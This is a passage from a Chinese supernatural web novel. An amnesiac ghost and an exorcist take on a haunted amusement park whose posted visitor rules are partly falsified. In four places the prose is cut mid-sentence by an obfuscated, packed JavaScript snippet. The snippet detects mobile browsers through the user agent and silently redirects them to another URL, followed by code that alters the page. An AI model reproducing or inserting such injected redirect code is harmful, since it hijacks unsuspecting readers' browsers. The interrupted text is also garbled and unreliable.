姚千很平淡地答应了,头也没转,视线落在窗外,是一贯的那种什么也不在意的神色,让我一瞬间怀疑他是不是走神中根本没听到。 然而过了一会儿,他突然转头问我:“现在住的房子太小了,回去之后我再找一个大点的吧。” 我:“不用了,我又不是真能住。” “哦。” 姚千继续看窗外。过一会儿又转头,询问我:“你还想养狗吗?” 我:“真的不用了,我也摸不到。” 姚千又嗯了一声。 我发现他其实内戏挺多的,不像表面看起来那么淡泊宁静。 之后的一段时间,我就在姚千这里过上了十分平静悠闲的生活。如果说人类无耻的躺平生活是吃了睡睡了吃,我就只是将吃去掉了而已。 除了休息以外,就是玩玩电脑看看电视。偶尔在姚千的邀请下出去溜达一番、购入一些维持姚千生命的必需品。 但因为我之前在超市等地方栖息的时间太久,对这种地方不敢兴趣,所以实际出去的次数也并不多。 期间,我逐渐发现我灵能力形成的片羽与我不同,是可以控制实际存在的物品的。因此,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192325|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然我仍然没有办法吃到东西、撸到路边小猫小狗,但至少可以完成开关灯、挪桌子等基础动作,甚至发挥奇思妙想使用片羽设计了一套高效拖地系统。 但姚千评价说我拖得不干净,建议我不要弄了。 之后,我开始利用电脑进行一些网络游戏,以致忘记人类正常作息时间。 毕竟残灵不太用睡觉,所以我经常在万籁俱静的深夜,窝在头戴耳机的中间打游戏。 虽然我自己没办法戴耳机,但头戴耳机就类似于两个小音箱,使位于其中的我也可以享受到不错音质,而且不会吵到隔壁。 这天,我正专心沉浸于游戏之中,隔壁突然爆发的巨大灵力打断了我的注意力。 又是从姚千的房间中传来的。 之所以说又,就要说到之前为什么我对姚千的实力有如此笃定的信任了。 虽然姚千接触过的周围人等与他的对话,都给我一种姚千作为驱灵师实力不凡的感觉。但当面的夸奖恭敬终究不是客观事实,这世界上当然也存在不少善于吹捧抬高之辈,习惯混淆视听、扭曲事实。 我本质上是一个比较客观的残灵,更尊重自己亲眼看到的东西。 愿意相信姚千的实力,是因为我亲自感受过来自姚千房间的澎湃灵力。那是在我第一晚住在姚千房间隔壁的事情,在大约凌晨一两点的时间,汹涌四散的灵力将昏昏欲睡的我从附着的床铺里惊醒,差点以为是隔壁驱灵师出尔反尔打算取我性命。 不过取我性命显然不必如此兴师动众,姚千的目的也不在于此。他的灵力从隔壁房间涌出的样子活像是断裂了的水管,虽然呈现出极度不稳定的状态,却并没有具化成某种具体能力。 然而姚千之前告诉过我,不能随意踏进他的房间,所以尽管我被这样的灵力所震撼,却也没有试图穿墙而过,去看看究竟。 回到当下时间线,这次也一样,我是个听劝的残灵,并不会因为好奇心就放任自己身处险境。 这次不稳定的灵力比之前持续时间还长,我再次沉浸入游戏之中,没再关心。直到第二天午时已过,我迟迟见不到姚千从他房间走出来,终于开始担心我寄居之处房主的安危。 下午两点,我用片羽线缠着电视遥控器,敲了敲他的房门。 房间里有响动,说明人还活着。 过了一会儿,姚千开门。这人脸上满是一夜未睡的痕迹,眼圈黑得惊心动魄,落魄之态尤胜于我第一次见他,简直让我怀疑他下秒就要一头栽倒在地上。 “我没事。”他语气倒是一贯的情绪稳定,“做了点小实验。” “哦。”我见他生命体征还算平稳,一时半刻也没有性命之忧,也就没有什么其他问题了,又客气地问他要不要吃点东西。 姚千说不用,于是我转身打算飘走。 “稍等一下。”他又喊我。 于是我又飘回来,看他有何话要讲。 姚千又不说话了,只是看着我,眸子黑黑沉沉的,好像掺着许多情绪,致使我无法准确识别出其中意味。 片刻,姚千一只眼睛突然地淌下眼泪,只一颗,从眼角迅速地滑进下巴。 他突然地醒过来一样,自己也诧异,抹了抹眼泪,又看我。 “太困了。”他掩饰地努力扯扯嘴角,笑了一下,说,“我去睡一会儿。” 我哦了一声,这次真的从他门前飘走了。 心里却还是觉得,姚千刚才有什么想对我说。 但既然他没有说,那就算了。 22. 风铃游乐园游客守则01 之后的几天,姚千看上去都怪怪的。随着时间过去,又逐渐恢复正常。大概是因为我侵占了他原本的一个房间,姚千开始物色更大的房子,并要求我陪他一起去看。 我不得不离开心爱的游戏,陪姚千出去看了几次。 最后确定了一个面积更大一些的,我觉得不错。姚千于是去跟中介谈价钱,这个过程倒是不用我参与,我只用知道什么时候搬家。 价钱谈得差不多,也请好了搬家公司,在这十分重要的节骨眼上,姚千却突然生病了。 这件事让人很意外,但仔细想想也有其合理之处。虽然姚千是一位驱灵师,但本质上也只比寻常人多了一些灵力——而这些灵力并没有仙侠故事中强身健体、延年益寿的功效。 所以,姚千仍然是一个普通人类,虽然在外面不苟言笑,看上去很有几分大佬的气势,但其实比想象中要瘦很多,从平常的脸色来看也不算是很健康的那种人。 可以理解,毕竟是特殊工种,到处出差,大概率还要黑白颠倒,对身体也是一种摧残,用当代话语来说也算是亚健康人群。 由于姚千生病的缘故,搬家事宜暂停。 毕竟住着别人的房子,我认为自己也应适当表示安慰。姚千生病将自己关进房间的当天中午,我便参照视频平台推送给我的做法,给姚千煮了一锅粥。 姚千来客厅接水,闻到厨房味道,三步并两步过来观察情况,其脚步之凌乱像是打算赶来救火的。看到我精心炮制的杰作,姚千舒了口气,又沉默一会儿,半晌才艰难地组织出语言。 “难为你了……谢谢。”他一字一句,好像在努力舒展眉心,可惜不太成功。 我深以为然。毕竟作为魂灵,我一不能尝到味道,二不能嗅到气味,这样的我踏进厨房,宛如盲人绘图,能做出来已经是伟大的胜利。 “你尝尝?”我问他。 姚千找勺子尝了一口,动作缓慢。 “还不错。”迎上我期待目光,姚千评价语气缺失平时一以贯之的平淡。 “但是我已经点好外卖了。”随后他告知我这个令人遗憾的消息。 说话的时候,门铃叮铃铃地响起来。蓝色马甲的年轻人把袋子交到姚千手上,他一手拎着外卖袋,犹豫片刻,指着锅问我:“我可以喝吗?” “就是煮给你的嘛。”我大方道。 姚千带着粥回屋了。 可能是生病需要多喝水,一下午姚千出来接了很多杯。 我坚持认为这不是我放调料尺度的问题,但之后还是没有再进厨房。 生病到第三天,姚千病情渐缓。下午难得从卧室逸出,坐在沙发上看电影,我凑热闹,也附进沙发里一起看。虽然没有什么生活记忆,但我对许多文艺作品都还有些模糊的印象。 姚千问我想看什么,我看着片单列表,浏览里面一大排陌生名字。 “我看过的不多嘛。”我说,“我是不是不爱看电影?” “不爱看。”姚千道。 “那我们一起看过吗?”我突然好奇。 姚千想了想:“是指在电影院看还是其他地方?” “电影院吧。有吗?” “没有。” “那其他地方呢?” “……也没有。” 我扯扯嘴角:“那你区分这两个场景有意义吗?” 姚千笑了一下:“没有。” “我们都没一起看过电影,那我们在一起都干什么了?” 姚千这次答得很快:“驱灵。” “……很好。” 最后我选了一部电影,开始观看。这部电影胜在封面和名字比较有噱头,内容略带恐怖元素,从开头便死人,其情状各异,令我回想起一个月前的经历。 我很快从工作联想到姚千最近生存境况:“说起来,都一个月了,你竟然还没有出过任务。” 这时候,距离我和姚千从茂山回来,已经过去了近一个月。这一个月里,姚千能安坐家中,多少令人意外。 “暂时没有人找我。”姚千想想,又补充,“驱灵师偶尔也会有生意冷淡的时候。” 我还以为姚千这种驱灵师是挺热门的存在,不禁意外:“这种情况很常见吗?” 姚千沉默两秒:“还好。” 我敏锐地察觉到他回答困难,非常有人情味地安慰他:“没事,应该很快就有任务上门了。” 姚千表情更加微妙:“……嗯,谢谢。” 我们继续看电影,电影渐入高潮,真相露出半截尾巴,突然有门铃声叮铃铃响起来。 姚千坐在那里,沉稳如座钟,好像这房子根本就没有装过门铃。 我瞧他一眼,又瞧他一眼,姚千终于对我的目光产生反应:“不用管。”他说。 “姚千,消息不回也就算了。我都听到电视的声音了!” 门外传来熟人杨先生的声音。 姚千终于去打开门,我看着电影还剩20分钟,略感遗憾。 杨先生进家,看着客厅里堆了几个纸箱——当初姚千准备搬家时带回来的——又看了看客房,大概是我房间里堆着的游戏机太显眼。 杨先生坐进沙发,姚千给他端来一杯水,试图浇灭他被关在门外的怒火。 杨先生喝了一口水,才恢复平时表情,碎碎念叨:“屋里怎么这么冷森森的……诶这是准备搬家吗?” “换个大点的房子。”姚千说。 杨先生露出斟酌之色:“我是说……即便是谈了女朋友,也不能,彻底不工作了吧?” “没有。”姚千说,“没有女朋友。” 杨先生皱眉,又瞅一眼客房的游戏机,大概在揣度这是姚千所有物的可能性,再看看看姚千满脸平淡之色:“那你这一个月都不回我消息?” “生病了,在养病。”姚千指指桌子上的药盒,眼也不眨。 “什么病?” 杨先生语气担忧,凑过去仔细看,看到药盒上写着感冒冲剂。 我在杨先生脸上看到明显的忍耐情绪,他长舒一口气,又问姚千:“所以,现在病怎么样了?” “还好……”姚千答得心不在焉。 “我这次过来,确实有要紧的事。”杨先生说,“你还记得s省的‘风铃游乐园’吧?” “记得。”姚千眼皮垂了垂,似乎回忆片刻,意外道,“它还在?” “不是一直没有处理好嘛。”杨先生道,“这都多少年了。” “大概有三四年吧。”姚千道,“我记得它最初出名,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197408|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为有位颇有名气的驱灵师死在了里面。后面是什么情况,我就没有印象了。” “没错,那位遇害的陈先生我见过一面,是经验相当老道的驱灵师。”杨先生讲述道,“但是进去之后不久,灵域外围就发现了他的尸体。” “‘风铃游乐园’的攻克难度由此调整为A级。之后又有许多驱灵师组成团队前往,却大多都没有回来。” “大多?” “对。”杨先生道,“还是有人出来的,是一些年纪尚轻、一时冲动单枪匹马闯进灵域的人活着出来了。” “团队的人数越是多,越容易团灭。” 这倒是十分违反常识。 杨先生叉着手,继续补充道:“由于灵域没有向外发展的迹象,也不怎么主动吸引人类进入,危害性就定在了c。攻克难度高,危害性又不大,这才一直拖了好几年。” “但那里毕竟是s省的省会,城市想向外扩张,还是避不开那里。会议拍板,如果能解决这个问题,城市就可以朝那个方向发展。”杨先生眯眼,加重音,“所以,酬劳非常可观。” 姚千面色平静,毫无动摇。 不过这个人一贯缺乏表情,内心究竟有没有心动,不得而知。 “于是你来找我?”姚千反问道。 “不只是你,s省已经定下一个人选。”杨先生道,“经过对过往相关情况的分析,这次任务选定由两个人组合,需要年龄在30岁以下、单独解决过a级灵域的驱灵师。” “除此之外,s省也只剩下一个年轻驱灵师还算是合适,但是人家正执行任务,不知什么时候能从灵域中出来。所以人家s省找到这里,你看,”杨先生带着点吹捧的语气,“我第一个想到的就是你。” “你看这个要求,除了你,我也找不到其他人了。这个年纪,这个实力,在我们c省,你是毫无争议的头一个。” 杨先生慷慨激昂陈词夸完,用期待目光巴巴看姚千。 姚千:“我病还没好,伤员不上战场。” “等几天也可以。” “我打算搬家。” “我找人帮你,不用你动手。” 姚千认真问他:“你没有感觉到我是在拒绝你吗?” 杨先生更认真地反问:“你没有感觉到我很努力地不想被拒绝吗?” “虽然不知道为什么你这段时间不接任务,但你就当帮我一次?”杨先生叹气,“这个任务,除了你,真没什么合适人选了。” 他一顿,又接着道:“你顾虑什么,是因为这个灵域太危险?” “我不缺这笔钱。”姚千一本正经道,“你也能猜到,这些年我拿到的钱,够养我三辈子了。” “我当然知道,”杨先生笑笑,“你接任务的频率和危险程度,远远多于同龄驱灵师。” “虽然我也不清楚你为什么要那么拼命。”他抬抬眉毛,“但如果是之前,这样的任务给你,我是不会想到你有拒绝可能的。” “怎么,你是打算从此退出这个危险行当,安稳退休?”杨先生看姚千。 姚千和他对视几秒,脸色平静,看不出有什么心情。 “想退出还早呢。”他笑了一下,“确实,想做驱灵师就不能太惜命。这个任务我还是接吧。” 23. 风铃游乐园游客守则02 三天后,小病痊愈的姚千和我踏上了前往s省的道路。 姚千并不想让我去,来之前跟我详细阐述种种危险之处,恐怖程度足以止小儿夜啼,颇有恫吓用意。我全盘听完,没什么感触,只是很奇怪。 “为什么不想让我去?你之前可是大摇大摆带我去过两次灵域。” 姚千就不说话了,半晌才道:“我不一定能保护你。” 这算什么理由?我打量姚千表情,和往常许多次一样看不出什么端倪。 “说起来,”我突然想到,“毕竟我是残灵。事实上大部分灵域,都不会想对我赶尽杀绝吧?” “毕竟是残灵的灵域,不应该以杀人类为第一要务么?” 我做出十分合乎情理的推论。 姚千可疑地沉默了。 我继续问他:“是不是?” 姚千终于败下阵来:“那就一起去吧。” s省负责接待的人员姓邓,看起来只有二十出头,和上次的张主任不同的是,这位是个灵感者。也就是说,他能够看到我。 这位邓科长见到我,显而易见地愣了一下,却也没有太过吃惊,大概也见过其他携带残灵的驱灵师。 姚千先一步介绍我:“这位是我的搭档,祝虹。” 邓科长客气地和我打招呼,我也抱以客气,对姚千不知道哪里编出来的陌生名字欣然接受。 这一刻,我再次想起来一个月前任谊的描述:我死在了特殊的涉密事件里。 我问过姚千,他说自己对那件涉密事件也不了解——但此刻却故意在官方人员面前隐瞒了我的性命,这意味着,他还有事情瞒着我。 苏吉光这个名字,还能有什么不可告人之处? “另一位前两天就已经过来了。”邓科长道,“之前和姚先生已经确认了行程,我们直接坐车过去。” 我们跟着邓科长坐上车,车程不长,这位邓科长和我简单聊过几句,又介绍道:“说起来,这次任务的搭档,之前是不是还没跟您介绍过?” “没有。”姚千答得心不在焉,一贯的缺少热情。 “姚先生之前应该也听说过这位。是乐语乐先生,”介绍大概是说给我的,“灵能力是……” “谁?”姚千打断他的话。 气氛陡然降温,邓科长察觉到语气不对,看向姚千,声音低了点儿,犹豫地重复:“乐语乐先生。” 姚千皱着眉笑了一下,一贯平淡的脸上鲜少出现如此丰富的表情,看样子像是气笑了:“怪不得老杨说他也不知道搭档是谁。” 事情居然还有这种发展,我登时来了兴趣:“你认识他啊?有过节?” “认识。没有过节。”姚千答得意简言赅,但内容真实性显然存疑。 他问邓科长:“他怎么在s省了?” “来我们s省有两年了,姚先生没有关注吧。” 姚千接受了这个答案,自言自语:“确实很久没有听到过他的消息。” 他接着诚恳提出问题:“现在把我们两中任何一个换掉,还有没有机会?” “……” 从后视镜能看到邓科长露出那种“你在跟我开玩笑吗”的表情。 “您觉得呢?”拒绝得很流畅。 我虚空捅捅姚千:“怎么?这个人有问题?” 邓科长继续努力地打圆场:“这中间一定有什么误会吧?乐先生为人正直,实力强劲,性格也随和,作为搭档来说是十分优秀的。” “呵呵。”姚千冷笑,“我知道。” 邓科长的劝解看上去完全起了反作用。 难得见到喜怒不形于色的姚千还有这种反应,这热闹实在是越看越带劲,我不禁也好奇起来,这位乐语到底何许人也。 说话间,我们已经到了目的地。 邓科长眼见情况不对,最终忠于职守地朝姚千补充一句:“不好意思,事先没和您说清楚是我们协调的问题,但是……” 姚千打断他:“没事的,不会影响任务。老杨也知道这一点,才隐瞒的。” 我们下车,看到十几米树荫下站着一个穿米色外套的年轻人,这人看见我们下车,远远地颔首一笑。 作为残灵,我的视力算是相当不错,隔着这么远,也看得清年轻人的样貌。 这人看上去大概二十五六岁年纪,穿着年轻,染着褐色头发,发型打理得很精细,双眼皮生得恰到好处,笑起来眼睛弯弯,神色和暖,是个明媚阳光的帅气人类。 只是随着我们步步走近,这位乐先生的表情逐渐开始不对劲起来,眼睛略微睁大,仿佛看到什么不可置信的东西。 果然啊,我心中嘀咕,姚千反应那么大,他们之间肯定有点过节。 越走越近,我终于发现不对劲。 这位乐语同志的眼神并不是落在姚千身上……而是我的身上。 连邓科长都看出来,问乐语:“你和祝小姐认识?” “……”乐语茫然一秒,还是接受了祝小姐这个不属于我的新称呼,“之前认识。” 乐语说这句话的时候,目光还是落在我脸上,根本没多分点儿给姚千。就连方才跟姚千打招呼的语气,也亲切友好,毫无异常,并没有出现我想象中两人一见面即剑拔弩张的糟糕场面。 甚至完全看不出来这人和姚千有什么过节。 ……不会是和我有过节吧?我疑神疑鬼起来。 两位驱灵师到齐,风铃游乐园就在面前,邓科长开始讲述更详尽的资料。 “从这里,再往东南方向,就是风铃游乐园了。”他一手捧着平板,朝着远处的建筑群指了指——其实也不太可能认错,毕竟那里正矗立着一架显眼异常的摩天轮。 “两、三位应该都风铃游乐园有所耳闻,但是具体情况,还是容我再介绍一下。”他点开平板里的资料,“游乐园实际建于16年前,虽然叫做游乐园,但实际上是公园与游乐园一体的综合设施,主打以绿植繁茂、空气清新的特点。风铃这种清新风格的命名,也是由此而来。” “之后由于经营不善,设施逐年老化,游乐园的游客量也大幅减少,游乐园终于在4年前正式关停。这片土地当时预备挂牌出售,寻找下一个接手的老板。” 邓科长声音一沉,“也就是在这个时候,游乐园里突然发生了一起杀人案。” 所谓杀人案,也就是人类杀了人类。 “被害人是p市本地一个互联网企业的老总,史东风,是趁着那几年行业起飞发家的,在s省也有一定名声。前几年他正做行业转型,打算接手风铃游乐园,来这里也是实地调研。” “杀人者则是与他同行的一个企业管理层成员,姓夏,夏依然。” 他一边说着,一边将平板上面朝我们,上面分别是一男一女的照片。 男人看上去四十出头,穿一件polo衫,倒也有商业人士的模样,只是领口并不平整,整体显出松垮之态。 而另一张照片里三十岁左右的女性,眼神则要凌厉许多,神色不苟言笑,衣着也是一丝不苟,整个人像是精心雕刻过一般,找不出任何散漫迹象。 “根据事后其他同行者的描述,杀人应该是早有预谋,夏依然故意让同行的人前往其他地方查看情况,留下自己和史东风在一起。” “众人听到呼救声赶来时,刀子已经捅入了史东风身体。趁着众人查看史东风的情况,夏依然选择了割喉自尽。” “割喉?”我略感意外。 这种自杀方式可真是不同寻常。 “听起来是很不可思议,”邓科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220985|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长翻了翻手里的材料,“但案卷确实是这样记录的。” “由于脖颈大动脉血流丰富,在场有好几人上衣都溅上了血。尸检结果也和现场许多人的口供一致,可以确定夏依然的确是自己割喉死亡的。” “好激烈的手法,看来是死意已决啊。”乐语感慨道,“所以,这个灵域的主人就是她?” “可能性很大。” 邓科长继续念道,“自这起杀人案之后,围绕着风铃游乐园,逐渐开始出现不正常的失踪事件,并有证据证明与此地有关。此后,这里便被p市部门划为未评级灵域。直到调查员吴忠先生前来此处调查并就此失踪,才正式将难度等级划分为A级。” “所以,”我插嘴问道,“夏依然到底为什么要杀这个史总?理由是什么?” “资料里,有对杀人动机的调查。”邓科长将平板上的内容朝下翻了翻。 “夏依然,32岁,名牌大学毕业,毕业后即进入企业工作,工作能力受到一致肯定。30岁时被高薪挖到史东风的企业担任管理层人员,由于职务需要和史东风接触较多。” “家庭背景很简单,父母很早就亡故,是祖母将她抚养长大。由于祖母也只是普通的乡镇妇女,靠开早餐摊维生,所以夏依然的家庭条件非常一般,大学还是靠助学贷款读完的。大概在夏依然30岁时,祖母因病亡故,她没有结婚,在世上也就没有什么其他亲人了。” “至于她为什么要杀史东风,没有明确的结果,有人说是感情纠纷,也有人说是因为工作中产生的摩擦。”邓科长扶了扶眼镜,对着平板念道。 “感情纠纷?”乐语扯着嘴角笑了一下,“那个史东风多大年纪?” “被杀时46岁。”邓科长道,“有妻子,还有两个儿子。后来警方经过查证,没有找到两人有存在婚外情关系的证据。” “那工作摩擦呢?”我还是认为这个可能性相对靠谱一些。 “不清楚,有人说史东风和夏依然走得很近,也有人说夏依然举报过史东风经济上存在不法行为,但仍然因为没有证据,最后不了了之。” 我歪了歪脑袋:“所以到底有没有不法行为?” “这不是调查的内容。”邓科长合上平板,抬头看看我们三人,语气平淡地提醒,“资料我已经将电子版发给二位了。这只是调查的内容,外人眼中的夏依然,未必就是真正的夏依然自己。” “连真相里本身,也未必有真正的夏依然呢?” 他一顿,转而又道:“至于对夏依然个人情况的调查,还有很重要的一点。夏依然是个非常看重规则的人。” “很多和她共事过的人都提到,夏依然做事一板一眼,只要定下规矩,便很少更改。自己更是一个准时守规的人,被很多人评价为值得信赖的合作对象。” “而相对应的,”他语气加重,“根据幸存驱灵师的描述,这个灵域里确实有很多有关于‘规则’的东西。” “哦?”乐语眯眼笑道,“灵域里最不缺的就是规则了。” “和一般灵域当然不一样。”邓科长回道,“根据描述,这个灵域里的规则非常多,存在于灵域的各个角落。” 他扶了扶眼镜,继续道,“而且根据幸存者所说,这些规则,有真有假,有最初存在的,也有被涂抹编造的。” “找到真正的规则,遵守它们,才有机会活下去。” “而根据资料所说,”邓科长一顿,“即便是正确的规则,也可能会引导着人走向死亡。” 这实在不是一个好消息,在气氛彻底跌入冰点前,他又抛出了一句稍微能和缓气氛的话。 “好消息是,幸存者还留下了一个关键信息。” “携带红笔的工作人员是可以相信的,他们会带你出来。” 24. 风铃游乐园游客守则03 听邓科长讲完种种详情,时间已经过去了一个多小时,拜别邓科长,我们两人一灵就此出发,朝着远处巨大摩天轮踏上征程。 走出数百米,大概是确定邓科长已经听不到我们的谈话声,乐语突然出声。 这人好像天生就唇角上扬,神色里总含着点笑,带三分愉快,说话声音都让人有天然的亲近感。 “吉光,好久不见。”他说,“没想到还能在这里见到你。” 我愣了愣,转过灵体看他,十分真诚地回:“我们之前认识吗?” 我仿佛听到姚千在我身后很不地道地笑了一声。 这句话听上去确实很令人尴尬,为乐语心灵健康着想,我立刻找补道:“我的意思是,我变成残灵之后失忆了。” 我举手强调:“谁都不记得。” “居然这样,”乐语意外了两秒,很快恢复了淡定,“那你现在怎么和姚千一起行动?” “恰巧遇到。”姚千替我答,“她现在暂住在我这里。” “这样啊。”乐语点点头。 “不管怎么说,就算不记得我也没事。”他又朝我露出一个漂亮的笑,“本以为再也见不到你了,这次能碰巧遇到,还是让人高兴。” “谢谢。”我礼貌回应,“我们之前是关系很好?” “朋友,也是在任务中认识的,和这次差不多。” “还有吗?”我继续问。 乐语想了想,语气很正经地答:“我们谈过一段时间恋爱,这样说可以吗?” 唔。 我回忆起镜子里本人的惊人美貌——感觉这个发展也很合理。 我偏过视线打量乐语——确实是个让人很容易产生好感的阳光帅哥,看来我生前的眼光还不错。 只是好像太年轻了。我又问:“说起来,您贵庚?” “我们同岁,今年29。”他笑着看一眼姚千,“姚千应该也是吧。” 姚千嗯了一声。 我有点意外:“看不出来,还以为你年纪比我小。” “怎么会年纪比你小?”乐语眸光略暗,“你看上去还是二十岁出头的样子。” 也是,我已经死在了八年前,年纪根本就不会再增加了。 我问:“所以,你知道我是怎么死的吗?” 乐语没说话。此时我们三人并肩前行,我飘在中间,乐语原本是转头与我说话,这时间却突然看向了姚千。 姚千专心走路,看上去并不关心我们的对话,自然也注意不到乐语的目光。 “我不知道。”乐语保持着方才轻松语气,听不出异常,“不在一个城市,连你的死讯,我也是很久之后才得知的。” 他话是这么说——但方才看向姚千的一眼,又好像藏着什么信息。 说话间,已经步行出一两公里,前方隐约可见公园大门。 毕竟是十多年前的建筑,加上多年未曾修缮,公园门外原本应当是斑斓活泼的色彩已经脱落得七七八八,一派潇潇然。 若隐若现的白色雾气萦绕门外,更显出阴森气氛,温度都好像下降了几度,越发让我有进入灵域的工作感觉了。 在这关头,姚千却突然朝我发出莫名其妙的叮嘱:“快到灵域里面了,小心一点。” “小心什么?” “你可能会直接变成实体。” 他突然说出了个振奋我心的好消息。 “之前的灵域不是个例。大部分灵域中,残灵都会拥有实体。” 我内心惊喜,面上表情却还是很矜持,没有表现出明显的愉快,只是紧接着问出一个十分重要的问题:“你带吃的了吗?” “带了。”姚千想想又补充,“两人份。” 几分钟后,我们站定在游乐园的大门口。此处没有工作人员,结合着越发浓重的白雾,可谓是半点儿人气都无。 大门没锁,可以通行无阻。 门外竖着一块牌子,看样子是随处可见的塑料牌,可以更换上面的纸张。此刻,牌匾内的黑色字体只写着一句话,立在中央,语气肃穆一般的。 ——入园者,请遵守规则。 字迹虽然严肃刻板,却也是手写体,看上去是用毛笔写成的,旁边还画着一朵风铃花图案,我在资料中见到过,这是风铃花游乐园的标志。 我低头仔细观察,看到墨水中洇着淡淡的金色颗粒。 “好好好。” 我自言自语地答应着,率先朝门内飘去,跨过门的那一刻,熟悉的力量感落在身上,重心朝前,幸好姚千提醒过,我踉跄一下,竭力保持平衡,没有摔倒。 真是熟悉又陌生的人类身体。时隔一个月,又能使用人类身体,灵域也实在是有灵域的好处。 我一边感慨着,一边在心中记下——刚才的情况同样标志着灵域是以游乐园大门为分割,与外界隔绝开来的。 姚千和乐语紧跟着我走进门里,作为人类,这两人身上倒没有出现明显异样。和在茂山中不同,这次姚千身上的行李物品,并没有因为进入灵域而突然消失。 我转过身,伸手朝大门外探去,想试试还能不能出门。 不出所料,和在石娅的灵域中一样,大门处有一道无形的屏障,令我无法通过。 又被关进来了。 我转过身站在大门里朝院内眺望,入眼是一片开阔的喷泉和花圃,属于游乐园的热闹感尚且还能从半褪色了的缤纷装饰牌上看出个一二。再朝里就是几条小道,分叉处立着一块指示地图。 除此之外,游乐园内和大门外一样冷冷清清,连残灵都看不到一只。 只有未经修剪的草植还在野蛮扩张,彰显几分潦草的活力。 我们继续前行,来到地图指示牌的前面。 地图和游乐园的大门一样,显然也是十年前的产物,原本的金色涂漆掉落得七七八八,铁锈味道盖住青草味儿窜入鼻腔。地图上绘制着游乐园内的大致布局,游乐园整个平面图大致呈椭圆形,过山车、植物园等设施陈列其中,其中最显眼的,是被墨水涂黑的一片区域。 这显然也是游乐园的一片设施,现在却已经被涂抹得连形状都看不到了。看位置,大概是在整个游乐园东侧的中心位置。 在地图的右下方位置,还贴着一张打印纸。 这张打印纸看上去比一般的A4纸稍大,边缘不平,像是被用刀裁开的,带着稀碎的毛边。又被胶水糊多了,纸的表面凹凸不平,皱皱巴巴,泛着些许的黄。 纸上的内容涂涂画画,颇有些惨不忍睹。 原本的字迹是黑色钢笔写就的,工整认真。这些字迹之上,又有各色不同的涂抹痕迹,最显眼的莫过于几个恐怖片里的经典淡红指印。 我凑近,仔细阅读上面的内容。 风铃游乐园游客守则【总】 游客您好,欢迎来到风铃游乐园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233223|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。作为乐趣与刺激并存的现代游乐园,园中各位服务人员及口口(这里画了两个涂满黑色的框),将竭诚为您带来最愉快的乐园体验。为了您的身心健康,请遵守游乐园各项规则,违者后果自负。 1、乐园全天候开放,游览时间为8:00——(此处被黑色签字笔抹掉,在旁边补为18:00),其余时间禁止参观游览园内景点。 2、园内有大量工作人员,负责维持乐园的正常运转。他们每天都在认真工作,请不要在工作时间随意打扰他们。他们的工作时间是0:00——0:00。 3、工作人员全部是人类。即便他们拥有五只眼睛或者六条腿,也不必害怕,他们是人类。 4、工作人员会穿着红色的制服。如果您看到非红色制服的人类自称工作人员,请不要相信它。 5、如有问题,您可以咨询工作人员,他们会竭尽自己的经验和能力为您解答,但请不要用与工作无关的话题骚扰他们。 (与之前不同的蓝色笔迹,笔画直得像是不会写字的人比着画出来的:别相信带你出去的人!骗子!背叛!被吃掉!) 6、非游览时间,请在超市二楼住宿,那里可以满足您住宿的需求。您可以在规定下取用任意设施的物品。请放心,这些物品的费用已经包含在门票中。 7、乐园内所有设施均可免费游玩,但请遵守各设施的规则。规则张贴在设施门口处,您一定可以第一时间看到。请仔细阅读。 8、地图中的(这一条接下来的文字被黑色签字笔完全涂黑,签字笔的字迹同上面涂抹时间的字迹) 9、乐园风景秀丽,绿树成荫,但是没有动物。请记住,乐园中没有动物。从来都没有动物。 10、乐园无法离开。您至少可以在本乐园游玩3天,祝您游览愉快。 最后这行字的下面,是大红色的字迹,笔画粗粗细细,像是随便用什么东西沾着红颜色写出来的。旁边沾着几个淡红的指纹印。 ——你的安全时间只有3天 虽然这段红色字迹的主人好像没能找到合适的笔,但笔触本身倒是相当稳定,很有成年人的写字风格,这句话的语气也趋于稳重。 除此之外,还有一段蓝色笔迹,在一侧写着:相信规则,相信理性 可惜的是这段笔迹自己也潦草得过分,不像是理性丰沛的样子。 